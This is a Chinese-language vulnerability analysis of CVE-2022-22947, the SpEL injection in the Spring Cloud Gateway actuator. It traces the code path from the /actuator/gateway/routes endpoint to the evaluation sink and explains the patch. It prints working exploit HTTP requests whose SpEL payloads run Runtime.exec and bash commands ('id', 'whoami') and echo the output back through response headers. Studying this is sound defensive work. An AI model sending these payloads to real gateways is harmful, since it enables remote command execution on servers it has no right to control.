1. 程式人生 > 其它 >Spring Cloud Gateway actuator組建對外暴露RCE問題漏洞分析

Spring Cloud Gateway actuator組建對外暴露RCE問題漏洞分析

  Spring Cloud gateway是什麼?

Spring Cloud Gateway是Spring Cloud官方推出的第二代閘道器框架,取代Zuul閘道器。閘道器作為流量的,在微服務系統中有著非常作用,閘道器常見的功能有路由轉發、許可權校驗、限流控制等作用

   漏洞描述:

  

當啟用、暴露和不安全的 Gateway Actuator 端點時,使用 Spring Cloud Gateway 的應用程式容易受到程式碼注入攻擊。遠端攻擊者可以發出惡意製作的請求,允許在遠端主機上進行任意遠端執行。

 

 漏洞複測:

  

 

 

 

  

POST /actuator/gateway/routes/test1 HTTP/1.1
Host: 
127.0.0.1:8889 Pragma: no-cache Cache-Control: no-cache sec-ch-ua: " Not A;Brand";v="99", "Chromium";v="96", "Google Chrome";v="96" Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: http://127.0.0.1:8889/actuator/ Content-Type:application/json Content-Length: 184 {"id":"test1","filters":[ { "name":"RewritePath",
"args":{ "test":"#{T(java.lang.Runtime).getRuntime().exec(\"open /System/Applications/Calculator.app\")}" } } ] }

 

重新整理觸發請求:

 

 

 

 

POST /actuator/gateway/refresh HTTP/1.1
Host: 127.0.0.1:8889
Pragma: no-cache
Cache-Control: no-cache
sec-ch-ua: " Not A;Brand";v="99", "Chromium";v="96", "Google Chrome";v="96"
Sec
-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: http://127.0.0.1:8889/actuator/ Content-Type:application/json

 

直接觸發rce:

 

 

 

 從0開始漏洞分析:

  漏洞預警:https://tanzu.vmware.com/security/cve-2022-22947

  受影響的版本鎖定:

Spring Cloud Gateway
3.1.0
3.0.0 to 3.0.6
Older, unsupported versions are also affected

 

   

 

 

 

  

  直接去github檢視:

  看diff,對比:    

  https://github.com/spring-cloud/spring-cloud-gateway/compare/v3.1.0...v3.1.1?diff=split

  全域性搜尋.java等關鍵字:

  關鍵程式碼位置:spring-cloud-gateway-server/src/main/java/org/springframework/cloud/gateway/support/ShortcutConfigurable.java

  https://github.com/spring-cloud/spring-cloud-gateway/compare/v3.1.0...v3.1.1?diff=split#diff-7aa249852020f587b35d07cd73c39161c229700ee1e13a9a146c114f542083bc

  

 

 

 

  通過程式碼,很容易看出來,這是spel注入,符合前面漏洞預警說的程式碼注入:

  

 

 

 

  

 現在sink找到了,就差source,看情況是這樣子的

 除了這樣找sink,還可以通過commit檢視,無需對比,一樣是關鍵字搜尋:

 拉到漏洞修復版本:https://github.com/spring-cloud/spring-cloud-gateway/commits/v3.1.1

  

 

 

 

  看到spel,盲猜spel注入,跟進去看看:

  https://github.com/spring-cloud/spring-cloud-gateway/commit/818fdb653e41cc582e662e085486311b46aa779b

  

 

 

 

  

好了,下面開始第二步分析,從下往上找,目前已基礎判斷出sink為spel注入,從下往上走:

漏洞環境搭建好了,所以我直接去idea裡面開啟路徑:

spring-cloud-gateway-server/src/main/java/org/springframework/cloud/gateway/support/ShortcutConfigurable.java

idea裡面對應的路徑:

springframework/cloud/spring-cloud-gateway-server/3.1.0/spring-cloud-gateway-server-3.1.0.jar!/org/springframework/cloud/gateway/support/ShortcutConfigurable.class:

可通過Structure檢視結構體:

在這裡排程出來:

  

 

 

 

 

 

 

  

  這裡直接在sink檔案斷一刀:

  42行

  

 

 

 

  重啟服務打exp:

  

 

 

 

 斷下來了,拿到利用鏈:

  

getValue:58, ShortcutConfigurable (org.springframework.cloud.gateway.support)
normalize:94, ShortcutConfigurable$ShortcutType$1 (org.springframework.cloud.gateway.support)
normalizeProperties:140, ConfigurationService$ConfigurableBuilder (org.springframework.cloud.gateway.support)
bind:241, ConfigurationService$AbstractBuilder (org.springframework.cloud.gateway.support)
loadGatewayFilters:144, RouteDefinitionRouteLocator (org.springframework.cloud.gateway.route)
getFilters:176, RouteDefinitionRouteLocator (org.springframework.cloud.gateway.route)
convertToRoute:117, RouteDefinitionRouteLocator (org.springframework.cloud.gateway.route)
apply:-1, 872736196 (org.springframework.cloud.gateway.route.RouteDefinitionRouteLocator$$Lambda$769)
onNext:106, FluxMap$MapSubscriber (reactor.core.publisher)
tryEmitScalar:488, FluxFlatMap$FlatMapMain (reactor.core.publisher)
onNext:421, FluxFlatMap$FlatMapMain (reactor.core.publisher)
drain:432, FluxMergeSequential$MergeSequentialMain (reactor.core.publisher)
innerComplete:328, FluxMergeSequential$MergeSequentialMain (reactor.core.publisher)
onSubscribe:552, FluxMergeSequential$MergeSequentialInner (reactor.core.publisher)
subscribe:165, FluxIterable (reactor.core.publisher)
subscribe:87, FluxIterable (reactor.core.publisher)
subscribe:8469, Flux (reactor.core.publisher)
onNext:237, FluxMergeSequential$MergeSequentialMain (reactor.core.publisher)
slowPath:272, FluxIterable$IterableSubscription (reactor.core.publisher)
request:230, FluxIterable$IterableSubscription (reactor.core.publisher)
onSubscribe:198, FluxMergeSequential$MergeSequentialMain (reactor.core.publisher)
subscribe:165, FluxIterable (reactor.core.publisher)
subscribe:87, FluxIterable (reactor.core.publisher)
subscribe:8469, Flux (reactor.core.publisher)
onNext:237, FluxMergeSequential$MergeSequentialMain (reactor.core.publisher)
slowPath:272, FluxIterable$IterableSubscription (reactor.core.publisher)
request:230, FluxIterable$IterableSubscription (reactor.core.publisher)
onSubscribe:198, FluxMergeSequential$MergeSequentialMain (reactor.core.publisher)
subscribe:165, FluxIterable (reactor.core.publisher)
subscribe:87, FluxIterable (reactor.core.publisher)
subscribe:4400, Mono (reactor.core.publisher)
subscribeWith:4515, Mono (reactor.core.publisher)
subscribe:4371, Mono (reactor.core.publisher)
subscribe:4307, Mono (reactor.core.publisher)
subscribe:4279, Mono (reactor.core.publisher)
onApplicationEvent:81, CachingRouteLocator (org.springframework.cloud.gateway.route)
onApplicationEvent:40, CachingRouteLocator (org.springframework.cloud.gateway.route)
doInvokeListener:176, SimpleApplicationEventMulticaster (org.springframework.context.event)
invokeListener:169, SimpleApplicationEventMulticaster (org.springframework.context.event)
multicastEvent:143, SimpleApplicationEventMulticaster (org.springframework.context.event)
publishEvent:421, AbstractApplicationContext (org.springframework.context.support)
publishEvent:378, AbstractApplicationContext (org.springframework.context.support)
refresh:96, AbstractGatewayControllerEndpoint (org.springframework.cloud.gateway.actuate)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
lambda$invoke$0:144, InvocableHandlerMethod (org.springframework.web.reactive.result.method)
apply:-1, 290554969 (org.springframework.web.reactive.result.method.InvocableHandlerMethod$$Lambda$861)
trySubscribeScalarMap:152, FluxFlatMap (reactor.core.publisher)
subscribeOrReturn:53, MonoFlatMap (reactor.core.publisher)
subscribe:57, InternalMonoOperator (reactor.core.publisher)
subscribe:52, MonoDefer (reactor.core.publisher)
subscribeNext:236, MonoIgnoreThen$ThenIgnoreMain (reactor.core.publisher)
onComplete:203, MonoIgnoreThen$ThenIgnoreMain (reactor.core.publisher)
onComplete:181, MonoFlatMap$FlatMapMain (reactor.core.publisher)
complete:137, Operators (reactor.core.publisher)
subscribe:120, MonoZip (reactor.core.publisher)
subscribe:4400, Mono (reactor.core.publisher)
subscribeNext:255, MonoIgnoreThen$ThenIgnoreMain (reactor.core.publisher)
subscribe:51, MonoIgnoreThen (reactor.core.publisher)
subscribe:64, InternalMonoOperator (reactor.core.publisher)
onNext:157, MonoFlatMap$FlatMapMain (reactor.core.publisher)
onNext:74, FluxSwitchIfEmpty$SwitchIfEmptySubscriber (reactor.core.publisher)
onNext:82, MonoNext$NextSubscriber (reactor.core.publisher)
innerNext:282, FluxConcatMap$ConcatMapImmediate (reactor.core.publisher)
onNext:863, FluxConcatMap$ConcatMapInner (reactor.core.publisher)
onNext:127, FluxMapFuseable$MapFuseableSubscriber (reactor.core.publisher)
onNext:180, MonoPeekTerminal$MonoTerminalPeekSubscriber (reactor.core.publisher)
request:2398, Operators$ScalarSubscription (reactor.core.publisher)
request:139, MonoPeekTerminal$MonoTerminalPeekSubscriber (reactor.core.publisher)
request:169, FluxMapFuseable$MapFuseableSubscriber (reactor.core.publisher)
set:2194, Operators$MultiSubscriptionSubscriber (reactor.core.publisher)
onSubscribe:2068, Operators$MultiSubscriptionSubscriber (reactor.core.publisher)
onSubscribe:96, FluxMapFuseable$MapFuseableSubscriber (reactor.core.publisher)
onSubscribe:152, MonoPeekTerminal$MonoTerminalPeekSubscriber (reactor.core.publisher)
subscribe:55, MonoJust (reactor.core.publisher)
subscribe:4400, Mono (reactor.core.publisher)
drain:451, FluxConcatMap$ConcatMapImmediate (reactor.core.publisher)
onSubscribe:219, FluxConcatMap$ConcatMapImmediate (reactor.core.publisher)
subscribe:165, FluxIterable (reactor.core.publisher)
subscribe:87, FluxIterable (reactor.core.publisher)
subscribe:64, InternalMonoOperator (reactor.core.publisher)
subscribe:52, MonoDefer (reactor.core.publisher)
subscribe:64, InternalMonoOperator (reactor.core.publisher)
subscribe:52, MonoDefer (reactor.core.publisher)
subscribe:64, InternalMonoOperator (reactor.core.publisher)
subscribe:52, MonoDefer (reactor.core.publisher)
subscribe:64, InternalMonoOperator (reactor.core.publisher)
subscribe:52, MonoDefer (reactor.core.publisher)
subscribe:4400, Mono (reactor.core.publisher)
subscribeNext:255, MonoIgnoreThen$ThenIgnoreMain (reactor.core.publisher)
subscribe:51, MonoIgnoreThen (reactor.core.publisher)
subscribe:64, InternalMonoOperator (reactor.core.publisher)
subscribe:55, MonoDeferContextual (reactor.core.publisher)
onStateChange:967, HttpServer$HttpServerHandle (reactor.netty.http.server)
onStateChange:677, ReactorNetty$CompositeConnectionObserver (reactor.netty)
onStateChange:478, ServerTransport$ChildObserver (reactor.netty.transport)
onInboundNext:570, HttpServerOperations (reactor.netty.http.server)
channelRead:93, ChannelOperationsHandler (reactor.netty.channel)
invokeChannelRead:379, AbstractChannelHandlerContext (io.netty.channel)
invokeChannelRead:365, AbstractChannelHandlerContext (io.netty.channel)
fireChannelRead:357, AbstractChannelHandlerContext (io.netty.channel)
channelRead:220, HttpTrafficHandler (reactor.netty.http.server)
invokeChannelRead:379, AbstractChannelHandlerContext (io.netty.channel)
invokeChannelRead:365, AbstractChannelHandlerContext (io.netty.channel)
fireChannelRead:357, AbstractChannelHandlerContext (io.netty.channel)
fireChannelRead:436, CombinedChannelDuplexHandler$DelegatingChannelHandlerContext (io.netty.channel)
fireChannelRead:327, ByteToMessageDecoder (io.netty.handler.codec)
channelRead:299, ByteToMessageDecoder (io.netty.handler.codec)
channelRead:251, CombinedChannelDuplexHandler (io.netty.channel)
invokeChannelRead:379, AbstractChannelHandlerContext (io.netty.channel)
invokeChannelRead:365, AbstractChannelHandlerContext (io.netty.channel)
fireChannelRead:357, AbstractChannelHandlerContext (io.netty.channel)
channelRead:1410, DefaultChannelPipeline$HeadContext (io.netty.channel)
invokeChannelRead:379, AbstractChannelHandlerContext (io.netty.channel)
invokeChannelRead:365, AbstractChannelHandlerContext (io.netty.channel)
fireChannelRead:919, DefaultChannelPipeline (io.netty.channel)
read:166, AbstractNioByteChannel$NioByteUnsafe (io.netty.channel.nio)
processSelectedKey:722, NioEventLoop (io.netty.channel.nio)
processSelectedKeysOptimized:658, NioEventLoop (io.netty.channel.nio)
processSelectedKeys:584, NioEventLoop (io.netty.channel.nio)
run:496, NioEventLoop (io.netty.channel.nio)
run:986, SingleThreadEventExecutor$4 (io.netty.util.concurrent)
run:74, ThreadExecutorMap$2 (io.netty.util.internal)
run:30, FastThreadLocalRunnable (io.netty.util.concurrent)
run:748, Thread (java.lang)

 

    

最上層是觸發sink結束了

往下看幾層:

排程了ShortcutType.DEFAULT列舉重寫的normalize方法:

這是方法,下一層就是呼叫了:

org/springframework/cloud/spring-cloud-gateway-server/3.1.0/spring-cloud-gateway-server-3.1.0.jar!/org/springframework/cloud/gateway/support/ConfigurationService.class

protected Map<String, Object> normalizeProperties() {
           return this.service.beanFactory != null ? ((ShortcutConfigurable)this.configurable).shortcutType().normalize(this.properties, (ShortcutConfigurable)this.configurable, this.service.parser, this.service.beanFactory) : super.normalizeProperties();
        }

 

 

 

 

檢視屬性value:

 

 

 

 

 

 

其中的key和value就是我們的fiter裡面的屬性內容:

 

 

 

再往下看一層:

name為我們自定義的RewritePath

 

 

 

結論:引用y4er大佬的話:

這個normalizeProperties()是對filter的屬性進行解析,會將filter的配置屬性傳入normalize中,最後 進入getValue執行SPEL表示式造成SPEL表示式注入。

現在是有exp,所以分析出來的,漏洞原理也瞭解了!但是還是有些點沒理解清楚,需要我們刨根問底:

 

  一些疑惑點:

(1)引數傳遞為什麼是這樣的?

(2)name設定為RewritePath,為什麼要這樣設定?

 

 

 

 

 

  漏洞原理正向分析:

 

真的想徹底理解漏洞,更需要使用者貼近業務:

檢視官方文件介紹說明:

https://cloud.spring.io/spring-cloud-gateway/multi/multi__actuator_api.html

關鍵點在這裡,官方文件說明可以使用這個介面去建立和刪除特定路由:

 

 

 

 

那說明我們的spring cloud下是存在/routes/這個目錄的,以開發經驗來看,一般路徑申明都在controller層,簡單搜尋下利用堆疊下的關鍵字:

 

 

 

refresh:96, AbstractGatewayControllerEndpoint (org.springframework.cloud.gateway.actuate)

 

去這個函式去看看

完全一致:

/org/springframework/cloud/spring-cloud-gateway-server/3.1.0/spring-cloud-gateway-server-3.1.0.jar!/org/springframework/cloud/gateway/actuate/AbstractGatewayControllerEndpoint.class

 

 

 

 

這個就是我們的source,現在又回到了老問題,這個source是怎麼觸發到sink的?

因為程式碼量不是很大,直接拿出來分析:

@PostMapping({"/routes/{id}"})
    public Mono<ResponseEntity<Object>> save(@PathVariable String id, @RequestBody RouteDefinition route) {
        return Mono.just(route).doOnNext(this::validateRouteDefinition).flatMap((routeDefinition) -> {
            return this.routeDefinitionWriter.save(Mono.just(routeDefinition).map((r) -> {
                r.setId(id);
                log.debug("Saving route: " + route);
                return r;
            })).then(Mono.defer(() -> {
                return Mono.just(ResponseEntity.created(URI.create("/routes/" + id)).build());
            }));
        }).switchIfEmpty(Mono.defer(() -> {
            return Mono.just(ResponseEntity.badRequest().build());
        }));
    }

 

先看可控點:

@PathVariable String id, @RequestBody RouteDefinition route

 

路徑就是自定義的id,這個不用管,跟進RouteDefinition類:

/org/springframework/cloud/spring-cloud-gateway-server/3.1.0/spring-cloud-gateway-server-3.1.0.jar!/org/springframework/cloud/gateway/route/RouteDefinition.class

 

 

 

可以這裡面定義了好幾個集合,有List的,也有Map的

隨便找個繼續跟集合的返回類,發現套娃好幾層呢:

/org/springframework/cloud/spring-cloud-gateway-server/3.1.0/spring-cloud-gateway-server-3.1.0.jar!/org/springframework/cloud/gateway/filter/FilterDefinition.class

 

 

 

這就是走到底的了,會發現他是name+agrs集合

這樣就對上了:

 

 

 

 

 

 

 

現在要分析的是RewritePath哪裡來的:

繼續回到程式碼:

return Mono.just(route).doOnNext(this::validateRouteDefinition).flatMap((routeDefinition) -> {
            return this.routeDefinitionWriter.save(Mono.just(routeDefinition).map((r) -> {

 

發現我們可控的變數進入了這個函數了,比較重要的就是flatMap了,這玩意和map類似,不同的是其每個元素轉換得到的是Stream物件,會把子Stream中的元素壓縮到父集合中, 人話就是後面的是壓縮的子元素,前面的返回的是壓縮後的父元素

跟進this::validateRouteDefinition:

 

 

 

在這個方法下下個斷點:

/org/springframework/cloud/spring-cloud-gateway-server/3.1.0/spring-cloud-gateway-server-3.1.0.jar!/org/springframework/cloud/gateway/actuate/AbstractGatewayControllerEndpoint.class

 

 

 

 

anyMatch:判斷的條件裡,任意一個元素成功,返回true

allMatch:判斷條件裡的元素,所有的都是,返回true

noneMatch:與allMatch相反,判斷條件裡的元素,所有的都不是,返回true

看著難看,利用Evuluate迴圈列印:

for(int i=0;i<this.GatewayFilters.size();i++){
    System.out.println(GatewayFilters.get(i).name());
}

 

 

 

就是這些:

AddRequestHeader
MapRequestHeader
AddRequestParameter
AddResponseHeader
ModifyRequestBody
DedupeResponseHeader
ModifyResponseBody
CacheRequestBody
PrefixPath
PreserveHostHeader
RedirectTo
RemoveRequestHeader
RemoveRequestParameter
RemoveResponseHeader
RewritePath
Retry
SetPath
SecureHeaders
SetRequestHeader
SetRequestHostHeader
SetResponseHeader
RewriteResponseHeader
RewriteLocationResponseHeader
SetStatus
SaveSession
StripPrefix
RequestHeaderToRequestUri
RequestSize
RequestHeaderSize

 

可以看到我們的RewritePath就在其中

  修復方案:

  修改為StandardEvaluationContext為SimpleEvaluationContext

spel注入類常見的有兩種:

StandardEvaluationContext 更加靈活 SimpleEvaluationContext 安全的,有限制的

 

 

 

不出網的話,我們上面的方法就不是很好使,需要調試出回顯方法?

網上出了好多回顯示案例,找一個複測下:

spring cloud回顯測試:

 

 

 

POST /actuator/gateway/routes/greetdawn HTTP/1.1
Host: 127.0.0.1:8889
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.51 Safari/537.36
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: en
Content-Type: application/json
Connection: close
Content-Length: 332

{
  "id": "greetdawn",
  "filters": [{
    "name": "AddResponseHeader",
    "args": {"name": "Result","value": "#{new java.lang.String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"id\"}).getInputStream()))}"}
  }],
"uri": "http://example.com",
"order": 0
}
}

 

重新整理:

 

 

 

訪問建立的路由地址:

GET /actuator/gateway/routes/greetdawn HTTP/1.1
Host: 127.0.0.1:8889
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.51 Safari/537.36
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: en
Connection: close

 

 

 

  spring cloud gateway 回顯原理分析:

  /org/springframework/cloud/spring-cloud-gateway-server/3.1.0/spring-cloud-gateway-server-3.1.0.jar!/org/springframework/cloud/gateway/filter/factory/AddResponseHeaderGatewayFilterFactory.class

 

 

把配置內容,新增到了響應請求頭

 除了這個還有很多,找類似點,發現當name為:

  

AddRequestHeader
AddRequestParameter
AddResponseHeader
SetRequestHeader
..........

 

任意一個,均可以回顯

 

 

 

POST /actuator/gateway/routes/SetRequestHeader HTTP/1.1
Host: 127.0.0.1:8889
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.51 Safari/537.36
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: en
Content-Type: application/json
Connection: close
Content-Length: 293

{
  "id": "After",
  "filters": [{
    "name": "SetRequestHeader",
    "args": {"name": "SetRequestHeader","value": "#{new java.util.Scanner(new java.lang.ProcessBuilder('/bin/bash', '-c', 'whoami').start().getInputStream()).next()}"}
  }],
"uri": "http://example.com",
"order": 0
}
}

 

重新整理:

 

 

訪問:

 

 

 

漏洞批量檢測:

nuclei上看到有人提了相關檢測方法:

https://github.com/wdahlenburg/nuclei-templates/blob/06db2450edaa2de7c371c2bf31226109ecb5e6c1/misconfiguration/springboot/springboot-gateway.yaml

 

 

技術參考:

(1)y4er p師傅知識星球

(2)spring cloud文件:https://cloud.spring.io/spring-cloud-gateway/multi/multi__actuator_api.html

(3)最好的spel注入學習文章:https://cryin.github.io/blog/SpEL injection/